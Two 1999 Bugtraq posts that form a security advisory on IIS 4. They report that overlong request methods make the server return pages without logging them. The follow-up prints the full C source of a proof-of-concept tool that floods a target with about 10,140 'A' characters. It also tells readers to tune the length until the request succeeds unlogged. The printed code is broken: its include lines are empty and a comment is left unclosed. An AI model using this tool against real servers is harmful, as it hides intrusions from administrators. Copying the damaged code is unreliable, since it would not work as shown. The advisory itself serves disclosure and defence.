Date: Fri, 22 Jan 1999 10:12:52 -0000 From: mnemonix To: BUGTRAQ@netspace.org Subject: IIS 4 Request Logging Security Advisory There is are a combination of problems with IIS 4 that allows an successful HTTP request to go unlogged. Microsoft's Internet Information Server 4 allows the use of any request method of almost any length for a resource that is to be interpreted or executed on the web server. This includes such files as Active Server Pages, Perl Scripts and ordinary executables. Consequently a user can request a file, default.asp, with a request method of AAAAAAAAAAAAAAAAAAAAAAAAA and it will be returned. If the request method used added to the path to the requested resource is over c.10150 bytes long the page is returned and nothing is logged by IIS. This could allow attacks on the server to go unnoticed. MS have probably decided to avoid the situation where an attacker could rapidly fill up disk space by not logging overly long requests. Perhaps it would be better to truncate such a request and log that. To demonstrate this I have written an executable called avoid.exe that will use a request method which is 10140 bytes long that requests /default.asp >from a webserver. This program does not exploit anything other than the logging avoidance. You can get a copy from http://www.infowar.co.uk/mnemonix/avoid.exe This was tested on NT 4 with SP3 + hotfixes. Can someone test this on a SP4 machine? Cheers, David LItchfield http://www.infowar.co.uk/mnemonix/ --------------------------------------------------------------------------- Date: Sat, 23 Jan 1999 15:52:02 -0000 From: mnemonix To: BUGTRAQ@netspace.org Subject: Follow up - IIS 4 logging There has been a mixed response to this problem - on some machines nothing is logged and the page is returned, others get a 500 error and others log the whole request. >From what I can make out: Machines that first had IIS 3 then were upgraded to IIS 4 with the NT Option Pack and Service Pack 3 or 4 return the page and don't log. Here is the source for avoid.exe as many have asked for it - for those that get a 500 response back from the server play around with the request_method length by increasing it until you get a 200ok response. It will chop and change between 5xx, 4xx and 200 responses Cheers, David Litchfield http://www.infowar.co.uk/mnemonix -----------------------8<----------------------------------------------- /* Compile with eg Visual C++ and link with wsock32.lib #include #include #include int main (int argc, char *argv[]) { int snd, rcv, err, portno,a=0,b, res; char resp[1024]; WORD wVersionRequested; WSADATA wsaData; struct sockaddr_in sa; struct hostent *he; SOCKET sock; if (argc !=2) { printf("Usage:\nc:\\>%s target_machine\n\nDavid Litchfield\n21st January 1999\n", argv[0]); return 0; } wVersionRequested = MAKEWORD( 2, 0 ); err = WSAStartup( wVersionRequested, &wsaData ); if ( err != 0 ) { printf("No winsock.dll\n"); return 0; } if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion ) != 0 ) { printf("No winsock.dll - 2nd\n"); WSACleanup( ); return 0; } if ((he = gethostbyname(argv[1])) == NULL) { printf("Invalid Host\n"); return 0; } sock=socket(AF_INET,SOCK_STREAM,0); if (sock==INVALID_SOCKET) { printf("Invalid Socket!\n"); return 0; } else { printf(""); } sa.sin_addr.s_addr=INADDR_ANY; sa.sin_family=AF_INET; bind(sock,(struct sockaddr *)&sa,sizeof(sa)); sa.sin_port=htons(80); memcpy(&sa.sin_addr,he->h_addr,he->h_length); if(connect(sock,(struct sockaddr *)&sa,sizeof(sa)) < 0) { printf("Failed to connect!\n"); } else { /* This loop creates the REQUEST_METHOD and makes it 10140 bytes long while (a < 10141) { snd=send(sock,"A", 1, 0); a ++; } snd=send(sock," /default.asp HTTP/1.0\n\n",43,0); rcv=recv(sock,resp,256,0); printf("\n%s",resp); rcv=recv(sock,resp,1024,0); printf("\n%s\n\n",resp); } closesocket(sock); return 0; } ----------------------------->8--------------------------------------------- -------------------------